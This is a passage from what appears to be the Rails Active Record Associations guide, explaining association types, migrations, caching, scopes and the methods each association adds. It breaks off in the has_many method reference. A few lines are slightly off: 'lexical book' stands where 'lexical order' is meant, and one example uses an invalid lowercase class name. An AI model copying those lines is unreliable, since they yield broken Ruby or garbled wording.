class Author < ApplicationRecord
end

class Book < ApplicationRecord
end

Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this:

@book = Book.create(published_at: Time.now, author_id: @author.id)

Or consider deleting an author, and ensuring that all of its books get deleted as well:

@books = Book.where(author_id: @author.id)
@books.each do |book|
book.destroy
end
@author.destroy

With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books:

class Author < ApplicationRecord
has_many :books, dependent: :destroy
end

class Book < ApplicationRecord
belongs_to :author
end

With this change, creating a new book for a particular author is easier:

@book = @author.books.create(published_at: Time.now)

Deleting an author and all of its books is much easier:

@author.destroy

To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

2 The Types of Associations

Rails supports six types of associations:

- belongs_to

- has_one

- has_many

- has_many :through

- has_one :through

- has_and_belongs_to_many

Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model.

In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

2.1 The belongs_to Association

A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way:

class Book < ApplicationRecord
belongs_to :author
end

belongs_to associations must use the singular term. If you used the pluralized form in the above example for the author association in the Book model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.

The corresponding migration might look like this:

class CreateBooks < ActiveRecord::Migration[5.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end

create_table :books do |t|
t.belongs_to :author, index: true
t.datetime :published_at
t.timestamps
end
end
end

2.2 The has_one Association

A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

class Supplier < ApplicationRecord
has_one :account
end

The corresponding migration might look like this:

class CreateSuppliers < ActiveRecord::Migration[5.0]
def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end

create_table :accounts do |t|
t.belongs_to :supplier, index: true
t.string :account_number
t.timestamps
end
end
end

Depending on the use case, you might also need to create a unique index and/or a foreign key constraint on the supplier column for the accounts table. In this case, the column definition might look like this:

create_table :accounts do |t|
t.belongs_to :supplier, index: true, unique: true, foreign_key: true
# ...
end

2.3 The has_many Association

A has_many association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this:

class Author < ApplicationRecord
has_many :books
end

The name of the other model is pluralized when declaring a has_many association.

The corresponding migration might look like this:

class CreateAuthors < ActiveRecord::Migration[5.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end

create_table :books do |t|
t.belongs_to :author, index: true
t.datetime :published_at
t.timestamps
end
end
end

2.4 The has_many :through Association

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

class Physician < ApplicationRecord
has_many :appointments
has_many :patients, through: :appointments
end

class Appointment < ApplicationRecord
belongs_to :physician
belongs_to :patient
end

class Patient < ApplicationRecord
has_many :appointments
has_many :physicians, through: :appointments
end

The corresponding migration might look like this:

class CreateAppointments < ActiveRecord::Migration[5.0]
def change
create_table :physicians do |t|
t.string :name
t.timestamps
end

create_table :patients do |t|
t.string :name
t.timestamps
end

create_table :appointments do |t|
t.belongs_to :physician, index: true
t.belongs_to :patient, index: true
t.datetime :appointment_date
t.timestamps
end
end
end

The collection of join models can be managed via the has_many association methods. For example, if you assign:

physician.patients = patients

Then new join models are automatically created for the newly associated objects. If some that existed previously are now missing, then their join rows are automatically deleted.

Automatic deletion of join models is direct, no destroy callbacks are triggered.

The has_many :through association is also useful for setting up "shortcuts" through nested has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

class Document < ApplicationRecord
has_many :sections
has_many :paragraphs, through: :sections
end

class Section < ApplicationRecord
belongs_to :document
has_many :paragraphs
end

class Paragraph < ApplicationRecord
belongs_to :section
end

With through: :sections specified, Rails will now understand:

@document.paragraphs

2.5 The has_one :through Association

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the supplier model could look like this:

class Supplier < ApplicationRecord
has_one :account
has_one :account_history, through: :account
end

class Account < ApplicationRecord
belongs_to :supplier
has_one :account_history
end

class AccountHistory < ApplicationRecord
belongs_to :account
end

The corresponding migration might look like this:

class CreateAccountHistories < ActiveRecord::Migration[5.0]
def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end

create_table :accounts do |t|
t.belongs_to :supplier, index: true
t.string :account_number
t.timestamps
end

create_table :account_histories do |t|
t.belongs_to :account, index: true
t.integer :credit_rating
t.timestamps
end
end
end

2.6 The has_and_belongs_to_many Association

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

The corresponding migration might look like this:

class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
def change
create_table :assemblies do |t|
t.string :name
t.timestamps
end

create_table :parts do |t|
t.string :part_number
t.timestamps
end

create_table :assemblies_parts, id: false do |t|
t.belongs_to :assembly, index: true
t.belongs_to :part, index: true
end
end
end

2.7 Choosing Between belongs_to and has_one

If you want to set up a one-to-one relationship between two models, you'll need to add belongs_to to one, and has_one to the other. How do you know which is which?

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
end

The corresponding migration might look like this:

class CreateSuppliers < ActiveRecord::Migration[5.0]
def change
create_table :suppliers do |t|
t.string  :name
t.timestamps
end

create_table :accounts do |t|
t.integer :supplier_id
t.string  :account_number
t.timestamps
end

add_index :accounts, :supplier_id
end
end

Using t.integer :supplier_id makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using t.references :supplier instead.

2.8 Choosing Between has_many :through and has_and_belongs_to_many

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

class Assembly < ApplicationRecord
has_many :manifests
has_many :parts, through: :manifests
end

class Manifest < ApplicationRecord
belongs_to :assembly
belongs_to :part
end

class Part < ApplicationRecord
has_many :manifests
has_many :assemblies, through: :manifests
end

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table in the database).

You should use has_many :through if you need validations, callbacks or extra attributes on the join model.

2.9 Polymorphic Associations

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:

class Picture < ApplicationRecord
belongs_to :imageable, polymorphic: true
end

class Employee < ApplicationRecord
has_many :pictures, as: :imageable
end

class Product < ApplicationRecord
has_many :pictures, as: :imageable
end

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures.

Similarly, you can retrieve @product.pictures.

If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

class CreatePictures < ActiveRecord::Migration[5.0]
def change
create_table :pictures do |t|
t.string  :name
t.integer :imageable_id
t.string  :imageable_type
t.timestamps
end

add_index :pictures, [:imageable_type, :imageable_id]
end
end

This migration can be simplified by using the t.references form:

class CreatePictures < ActiveRecord::Migration[5.0]
def change
create_table :pictures do |t|
t.string :name
t.references :imageable, polymorphic: true, index: true
t.timestamps
end
end
end

2.10 Self Joins

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:

class Employee < ApplicationRecord
has_many :subordinates, class_name: "Employee",
foreign_key: "manager_id"

belongs_to :manager, class_name: "Employee"
end

With this setup, you can retrieve @employee.subordinates and @employee.manager.

In your migrations/schema, you will add a references column to the model itself.

class CreateEmployees < ActiveRecord::Migration[5.0]
def change
create_table :employees do |t|
t.references :manager, index: true
t.timestamps
end
end
end

3 Tips, Tricks, and Warnings

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

- Controlling caching

- Avoiding name collisions

- Updating the schema

- Controlling association scope

- Bi-directional associations

3.1 Controlling Caching

All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

author.books                 # retrieves books from the database
author.books.size            # uses the cached copy of books
author.books.empty?          # uses the cached copy of books

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call reload on the association:

author.books                 # retrieves books from the database
author.books.size            # uses the cached copy of books
author.books.reload.empty?    # discards the cached copy of books
# and goes back to the database

3.2 Avoiding Name Collisions

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

3.3 Updating the Schema

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For belongs_to associations you need to create foreign keys, and for has_and_belongs_to_many associations you need to create the appropriate join table.

3.3.1 Creating Foreign Keys for belongs_to Associations

When you declare a belongs_to association, you need to create foreign keys as appropriate. For example, consider this model:

class Book < ApplicationRecord
belongs_to :author
end

This declaration needs to be backed up by the proper foreign key declaration on the books table:

class CreateBooks < ActiveRecord::Migration[5.0]
def change
create_table :books do |t|
t.datetime :published_at
t.string   :book_number
t.integer  :author_id
end

add_index :books, :author_id
end
end

If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.

3.3.2 Creating Join Tables for has_and_belongs_to_many Associations

If you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.

The precedence between model names is calculated using the <=> operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically less than 's' in common encodings).

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
def change
create_table :assemblies_parts, id: false do |t|
t.integer :assembly_id
t.integer :part_id
end

add_index :assemblies_parts, :assembly_id
add_index :assemblies_parts, :part_id
end
end

We pass id: false to create_table because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a has_and_belongs_to_many association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit.

You can also use the method create_join_table

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
def change
create_join_table :assemblies, :parts do |t|
t.index :assembly_id
t.index :part_id
end
end
end

3.4 Controlling Association Scope

By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
end
end
end

This will work fine, because both the Supplier and the Account class are defined within the same scope. But the following will not work, because Supplier and Account are defined in different scopes:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
end

module Billing
class Account < ApplicationRecord
belongs_to :supplier
end
end
end

To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account,
class_name: "MyApplication::Billing::Account"
end
end

module Billing
class Account < ApplicationRecord
belongs_to :supplier,
class_name: "MyApplication::Business::Supplier"
end
end
end

3.5 Bi-directional Associations

It's normal for associations to work in two directions, requiring declaration on two different models:

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord
belongs_to :author
end

By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:

a = Author.first
b = a.books.first
a.first_name == b.author.first_name # => true
a.first_name = 'Manny'
a.first_name == b.author.first_name # => false

This happens because a and b.author are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the :inverse_of option so that you can inform it of these relations:

class Author < ApplicationRecord
has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

With these changes, Active Record will only load one copy of the author object, preventing inconsistencies and making your application more efficient:

a = Author.first
b = a.books.first
a.first_name == b.author.first_name # => true
a.first_name = 'Manny'
a.first_name == b.author.first_name # => true

There are a few limitations to inverse_of support:

- They do not work with :through associations.

- They do not work with :polymorphic associations.

- They do not work with :as associations.

- For belongs_to associations, has_many inverse associations are ignored.

Every association will attempt to automatically find the inverse association and set the :inverse_of option heuristically (based on the association name). Most associations with standard names will be supported. However, associations that contain the following options will not have their inverses set automatically:

- :conditions

- :through

- :polymorphic

- :foreign_key

4 Detailed Association Reference

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

4.1 belongs_to Association Reference

The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.

4.1.1 Methods Added by belongs_to

When you declare a belongs_to association, the declaring class automatically gains five methods related to the association:

- association

- association=(associate)

- build_association(attributes = {})

- create_association(attributes = {})

- create_association!(attributes = {})

In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

class Book < ApplicationRecord
belongs_to :author
end

Each instance of the Book model will have these methods:

author
author=
build_author
create_author
create_author!

When initializing a new has_one or belongs_to association you must use the build_ prefix to build the association, rather than the association.build method that would be used for has_many or has_and_belongs_to_many associations. To create one, use the create_ prefix.

4.1.1.1 association

The association method returns the associated object, if any. If no associated object is found, it returns nil.

@author = @book.author

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call #reload on the parent object.

@author = @book.reload.author

4.1.1.2 association=(associate)

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value.

@book.author = @author

4.1.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will not yet be saved.

@author = @book.build_author(author_number: 123,
author_name: "John Doe")

4.1.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

@author = @book.create_author(author_number: 123,
author_name: "John Doe")

4.1.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.1.2 Options for belongs_to

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the belongs_to association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:

class Book < ApplicationRecord
belongs_to :author, dependent: :destroy,
counter_cache: true
end

The belongs_to association supports these options:

- :autosave

- :class_name

- :counter_cache

- :dependent

- :foreign_key

- :primary_key

- :inverse_of

- :polymorphic

- :touch

- :validate

- :optional

4.1.2.1 :autosave

If you set the :autosave option to true, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.1.2.2 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is Patron, you'd set things up this way:

class Book < ApplicationRecord
belongs_to :author, class_name: "Patron"
end

4.1.2.3 :counter_cache

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

class Book < ApplicationRecord
belongs_to :author
end
class Author < ApplicationRecord
has_many :books
end

With these declarations, asking for the value of @author.books.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

class Book < ApplicationRecord
belongs_to :author, counter_cache: true
end
class Author < ApplicationRecord
has_many :books
end

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the size method.

Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated (has_many) model. In the case above, you would need to add a column named books_count to the Author model.

You can override the default column name by specifying a custom column name in the counter_cache declaration instead of true. For example, to use count_of_books instead of books_count:

class Book < ApplicationRecord
belongs_to :author, counter_cache: :count_of_books
end
class Author < ApplicationRecord
has_many :books
end

You only need to specify the :counter_cache option on the belongs_to side of the association.

Counter cache columns are added to the containing model's list of read-only attributes through attr_readonly.

4.1.2.4 :dependent

Controls what happens to associated objects when their owner is destroyed:

- :destroy causes the associated objects to also be destroyed.

- :delete_all causes the associated objects to be deleted directly from the database (callbacks are not executed).

- :nullify causes the foreign keys to be set to NULL (callbacks are not executed).

- :restrict_with_exception causes an exception to be raised if there are associated records.

- :restrict_with_error causes an error to be added to the owner if there are associated objects.

You should not specify this option on a belongs_to association that is connected with a has_many association on the other class. Doing so can lead to orphaned records in your database.

4.1.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Book < ApplicationRecord
belongs_to :author, class_name: "Patron",
foreign_key: "patron_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.1.2.6 :primary_key

By convention, Rails assumes that the id column is used to hold the primary key of its tables. The :primary_key option allows you to specify a different column.

For example, given we have a users table with guid as the primary key. If we want a separate todos table to hold the foreign key user_id in the guid column, then we can use primary_key to achieve this like so:

class User < ApplicationRecord
self.primary_key = 'guid' # primary key is guid and not id
end

class Todo < ApplicationRecord
belongs_to :user, primary_key: 'guid'
end

When we execute @user.todos.create then the @todo record will have its user_id value as the guid value of @user.

4.1.2.7 :inverse_of

The :inverse_of option specifies the name of the has_many or has_one association that is the inverse of this association. Does not work in combination with the :polymorphic options.

class Author < ApplicationRecord
has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

4.1.2.8 :polymorphic

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

4.1.2.9 :touch

If you set the :touch option to true, then the updated_at or updated_on timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:

class Book < ApplicationRecord
belongs_to :author, touch: true
end

class Author < ApplicationRecord
has_many :books
end

In this case, saving or destroying an book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update:

class Book < ApplicationRecord
belongs_to :author, touch: :books_updated_at
end

4.1.2.10 :validate

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

4.1.2.11 :optional

If you set the :optional option to true, then the presence of the associated object won't be validated. By default, this option is set to false.

4.1.3 Scopes for belongs_to

There may be times when you wish to customize the query used by belongs_to. Such customizations can be achieved via a scope block. For example:

class Book < ApplicationRecord
belongs_to :author, -> { where active: true },
dependent: :destroy
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

- where

- includes

- readonly

- select

4.1.3.1 where

The where method lets you specify the conditions that the associated object must meet.

class book < ApplicationRecord
belongs_to :author, -> { where active: true }
end

4.1.3.2 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

class LineItem < ApplicationRecord
belongs_to :book
end

class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end

class Author < ApplicationRecord
has_many :books
end

If you frequently retrieve authors directly from line items (@line_item.book.author), then you can make your code somewhat more efficient by including authors in the association from line items to books:

class LineItem < ApplicationRecord
belongs_to :book, -> { includes :author }
end

class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end

class Author < ApplicationRecord
has_many :books
end

There's no need to use includes for immediate associations - that is, if you have Book belongs_to :author, then the author is eager-loaded automatically when it's needed.

4.1.3.3 readonly

If you use readonly, then the associated object will be read-only when retrieved via the association.

4.1.3.4 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

If you use the select method on a belongs_to association, you should also set the :foreign_key option to guarantee the correct results.

4.1.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil? method:

if @book.author.nil?
@msg = "No author found for this book"
end

4.1.5 When are Objects Saved?

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

4.2 has_one Association Reference

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

4.2.1 Methods Added by has_one

When you declare a has_one association, the declaring class automatically gains five methods related to the association:

- association

- association=(associate)

- build_association(attributes = {})

- create_association(attributes = {})

- create_association!(attributes = {})

In all of these methods, association is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:

class Supplier < ApplicationRecord
has_one :account
end

Each instance of the Supplier model will have these methods:

account
account=
build_account
create_account
create_account!

When initializing a new has_one or belongs_to association you must use the build_ prefix to build the association, rather than the association.build method that would be used for has_many or has_and_belongs_to_many associations. To create one, use the create_ prefix.

4.2.1.1 association

The association method returns the associated object, if any. If no associated object is found, it returns nil.

@account = @supplier.account

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call #reload on the parent object.

@account = @supplier.reload.account

4.2.1.2 association=(associate)

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value.

@supplier.account = @account

4.2.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will not yet be saved.

@account = @supplier.build_account(terms: "Net 30")

4.2.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

@account = @supplier.create_account(terms: "Net 30")

4.2.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.2.2 Options for has_one

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_one association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

class Supplier < ApplicationRecord
has_one :account, class_name: "Billing", dependent: :nullify
end

The has_one association supports these options:

- :as

- :autosave

- :class_name

- :dependent

- :foreign_key

- :inverse_of

- :primary_key

- :source

- :source_type

- :through

- :validate

4.2.2.1 :as

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

4.2.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.2.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:

class Supplier < ApplicationRecord
has_one :account, class_name: "Billing"
end

4.2.2.4 :dependent

Controls what happens to the associated object when its owner is destroyed:

- :destroy causes the associated object to also be destroyed

- :delete causes the associated object to be deleted directly from the database (so callbacks will not execute)

- :nullify causes the foreign key to be set to NULL. Callbacks are not executed.

- :restrict_with_exception causes an exception to be raised if there is an associated record

- :restrict_with_error causes an error to be added to the owner if there is an associated object

It's necessary not to set or leave :nullify option for those associations that have NOT NULL database constraints. If you don't set dependent to destroy such associations you won't be able to change the associated object because the initial associated object's foreign key will be set to the unallowed NULL value.

4.2.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Supplier < ApplicationRecord
has_one :account, foreign_key: "supp_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.2.2.6 :inverse_of

The :inverse_of option specifies the name of the belongs_to association that is the inverse of this association. Does not work in combination with the :through or :as options.

class Supplier < ApplicationRecord
has_one :account, inverse_of: :supplier
end

class Account < ApplicationRecord
belongs_to :supplier, inverse_of: :account
end

4.2.2.7 :primary_key

By convention, Rails assumes that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

4.2.2.8 :source

The :source option specifies the source association name for a has_one :through association.

4.2.2.9 :source_type

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

4.2.2.10 :through

The :through option specifies a join model through which to perform the query. has_one :through associations were discussed in detail earlier in this guide.

4.2.2.11 :validate

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

4.2.3 Scopes for has_one

There may be times when you wish to customize the query used by has_one. Such customizations can be achieved via a scope block. For example:

class Supplier < ApplicationRecord
has_one :account, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

- where

- includes

- readonly

- select

4.2.3.1 where

The where method lets you specify the conditions that the associated object must meet.

class Supplier < ApplicationRecord
has_one :account, -> { where "confirmed = 1" }
end

4.2.3.2 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end

class Representative < ApplicationRecord
has_many :accounts
end

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

class Supplier < ApplicationRecord
has_one :account, -> { includes :representative }
end

class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end

class Representative < ApplicationRecord
has_many :accounts
end

4.2.3.3 readonly

If you use the readonly method, then the associated object will be read-only when retrieved via the association.

4.2.3.4 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

4.2.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil? method:

if @supplier.account.nil?
@msg = "No account found for this supplier"
end

4.2.5 When are Objects Saved?

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved. They will automatically when the parent object is saved.

If you want to assign an object to a has_one association without saving the object, use the association.build method.

4.3 has_many Association Reference

The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

4.3.1 Methods Added by has_many

When you declare a has_many association, the declaring class automatically gains 16 methods related to the association:

- collection

- collection<<(object, ...)

- collection.delete(object, ...)

- collection.destroy(object, ...)

- collection=(objects)

- collection_singular_ids

- collection_singular_ids=(ids)

- collection.clear

- collection.empty?

- collection.size

- collection.find(...)

- collection.where(...)

- collection.exists?(...)

- collection.build(attributes = {}, ...)

- collection.create(attributes = {})

- collection.create!(attributes = {})

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol. For example, given the declaration:

class Author < ApplicationRecord
has_many :books
end

Each instance of the Author model will have these methods:

books
books<<(object, ...)
books.delete(object, ...)
books.destroy(object, ...)
books=(objects)
book_ids
book_ids=(ids)
books.clear
books.empty?
books.size
books.find(...)
books.where(...)
books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})

4.3.1.1 collection

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

@books = @author.books

4.3.1.2 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

@author.books << @book1

4.3.1.3 collection.delete(object, ...)

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

@author.books.delete(@book1)

Additionally, objects will be destroyed if they're associated with dependent: :destroy, and deleted if they're associated with dependent: :delete_all.

4.3.1.4 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the collection by running destroy on each object.

@author.books.destroy(@book1)

Objects will always be removed from the database, ignoring the :dependent option.

4.3.1.5 collection=(objects)

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

4.3.1.6 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the objects in the collection.

@book_ids = @author.book_ids

4.3.1.7 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

4.3.1.8 collection.clear

The collection.clear method removes all objects from the collection according to the strategy specified by the dependent option. If no option is given, it follows the default strategy. The default strategy for has_many :through associations is delete_all, and for has_many associations is to set the foreign keys to NULL.

@author.books.clear

Objects will be deleted if they're associated with dependent: :destroy, just like dependent: :delete_all.

4.3.1.9 collection.empty?

The collection.empty? method returns true if the collection does not contain any associated objects.

<% if @author.books.empty? %>
No Books Found
<% end %>

4.3.1.10 collection.size

The collection.size method returns the number of objects in the collection.

@book_count = @author.books.size

